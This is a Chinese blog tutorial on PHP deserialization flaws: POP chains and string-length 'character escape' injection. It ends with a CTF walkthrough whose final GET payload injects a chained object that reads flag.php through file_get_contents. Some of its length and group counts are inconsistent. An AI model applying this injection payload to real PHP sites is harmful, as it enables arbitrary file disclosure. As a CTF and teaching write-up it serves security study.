PHP反序列化漏洞总结(二)
写在前边
之前介绍了什么是序列化和反序列化,顺便演示了一个简单的反序列化漏洞,现在结合实战,开始填坑
前篇:https://www.cnblogs.com/Lee-404/p/12771032.html
1.POP链
POP,面向属性编程(Property-Oriented Programing),之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。
2.字符逃逸+POP链构造
1)漏洞产生原因:
序列化的字符串在经过过滤函数不正确的处理而导致对象注入,目前看到都是因为过滤函数放在了serialize函数之后,要是放在序列化之前应该就不会产生这个问题
2)演示
借用大佬的案例来演示一下 https://blog.csdn.net/assasin0308/article/details/103711024
<?php
function filter($string){
$a = str_replace('x','zz',$string); //将字符串的x替换成zz
return $a;
}
$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password); //将username,password传入user数组
echo(serialize($user)); //序列化数组
echo "\n";
$r = filter(serialize($user)); //将序列化好的字符中的x替换成zz
echo($r);
echo "\n";
var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));
?>
PHP特性
1.PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的
2.对类中不存在的属性也会进行反序列化
上述案例,发现序列化后的的字符串变长了
而且相对于
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
其结果也能正常序列化,说明php在反序列化的时候只要求一个反序列化字符串块合法即可,当然得是第一个字符串块。
如果能够利用filter函数这种由一个字符变为两个字符的特性来注入想要反序列化后得到的属性,使其可以逃逸出更多可用的字符串,那么我们就能反序列化得到我们想要的属性
比如a:2:{i:0;s:6:"tr1ple";i:1;s:7:"233333";}是我们想要达到的效果,此时我们想要注入的payload明显为:
";i:1;s:7:"2333333";}
这个长度为21,即注入一个x可以逃逸出一个字符的空位,那么我们只需要注入21个x即可变成42个z,即可逃逸出21个空位,从而将我们的payload变为反序列化后得到的属性值
3)构造POP
$username = 'tr1plexxxxxxxxxxxxxxxxxxxxx";i:1;s:7:"1234567";}';
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user)).'</br>';
$r = filter(serialize($user));
echo($r);
echo "\n";
var_dump(unserialize($r));
3.实战(2020安恒4月WEB1)
访问,直接获取源码
<?php
show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
首先,盲目分析一波,大致看来一下,是POP+字符逃逸类型。用C类中的__toString()
方法中的file_get_contents()
来读取flag.php的源码,然后在B类中存在字符串的拼接操作$c = 'a'.$this->b;
此处的$b
属性实例化为C对象即可触发__toString()
方法。而题目只有对A对象的实例化,因此需要将A的属性实例化为B
<?php
class A{
public $username;
public $password;
}
class B{
public $b = 'gqy';
}
class C{
public $c;
}
$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);
?>
O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}
构造POP链得到序列化后,接下来就是字符逃逸了,源码中只序列化$a,我们先只序列化A分析一下
<?php class A{ public $username; public $password; } $a = new A(); $a->username=user; $a->password=passwd; echo serialize($a); ?>
得到
O:1:"A":2:{s:8:"username";s:4:"user";s:8:"password";s:6:"passwd";}
字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。
function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); } function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
可以看到,可以看到\0\0\0
的长度为6,然后chr(0).'*'.chr(0)
的长度为3,因此read()
方法可以造成字符逃逸。
在这里,我们需要逃逸的是
";s:8:"password";s:6:
根据上边分析,看上去是要逃逸22个,但实际上,刚刚构造的 O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}是打在password里的,所以一定是大于10的,是两位数,实际上是要逃逸23个字符,
因为一组逃逸出三个字符,所以这里共需逃逸八组,也就是说a这个参数序列化后应该是 \0\0\0\0\0\0\0\0\0\0\0\0 (共12组\0)
O:1:"A":2{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";}
经过函数过滤
O:1:"A":2{s:8:"username";s:48:"********";s:8:"password";s:72:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}";} //实际上每个*后都有空格,被忽略了
这时候应该加一个字符为了防止flag被吞可以看到,反序列化过程中,在读入username的值时,读入48位,从第一个 空*空 开始读,********";s:8:"password";s:72:"A
(因为总逃逸的字符串有24位,需要逃逸的只有23位,这里加上一个A字符,凑成24位),发现原本的password属性被吞,但因为序列化字符串中类里面的变量数是2,所以此时继续读一个变量,读入我们传的password,也就是读出了我们希望传入的password,这时新对象即逃逸出来
所以,最后的playload
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php"}}
传入后F12查看
参考链接:
http://www.mamicode.com/info-detail-2990320.html
https://blog.csdn.net/weixin_43610673/article/details/105754341
https://www.gem-love.com/ctf/2275.html
https://blog.csdn.net/assasin0308/article/details/103711024
如有错误请留言指出,谢谢